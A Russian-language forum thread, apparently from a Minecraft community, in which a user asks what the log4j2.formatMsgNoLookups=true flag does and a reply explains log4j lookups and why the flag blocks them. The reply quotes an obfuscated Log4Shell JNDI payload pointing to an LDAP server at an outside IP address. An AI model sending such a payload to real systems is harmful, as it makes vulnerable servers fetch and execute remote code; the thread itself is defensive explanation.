Обсудим Что делает флаг Dlog4j2.formatMsgNoLookups=true?

manul694

Premium
Сообщения
1 144
Решения
34
Что делает флаг Dlog4j2.formatMsgNoLookups=true? Не нужно писать что-то вроде "На 1.18 можешь не ставить" или "Фиксит уязвимость", мне нужно объяснение что он делает.
 
Что делает флаг Dlog4j2.formatMsgNoLookups=true? Не нужно писать что-то вроде "На 1.18 можешь не ставить" или "Фиксит уязвимость", мне нужно объяснение что он делает.
Он отключает просмотр всяких штук для log4j в старых релизах. Вот к примеру на "непофикшенной" версии, при отправки сообщения ${date:YYYY}, в консоли выбивалась дата. Считай это как в майнкрафте %player_name% - ник игрока, так и тут.
Собственно данный флаг отключает эту функцию log4j, если его версия не ниже 2.14, если речь о релизах до этой версии - флаг не работает. Если речь о релизах после 2.17, то флаг по сути бесполезен (хотя так ли это...)
В общем то, если на непропатченной версии игрок вписывал что то на подобии ${${env:ENV_NAME:-j}ndi:ldap://45.93.200.159:1389/Log4JRCE}, то log4j брал класс по данному IP и пути и исполнял его, по этому данный флаг был необходим, чтобы это предотвратить, ведь так мог быть взломан и сервер, и обычные игроки (логгирование то одно и то же)
Объяснение очень краткое, но оно самое простое для понимания.

Так или иначе - лучше всего будет его поставить т.к. тут работает принцип "поставил и забыл"
 
Назад
Сверху Снизу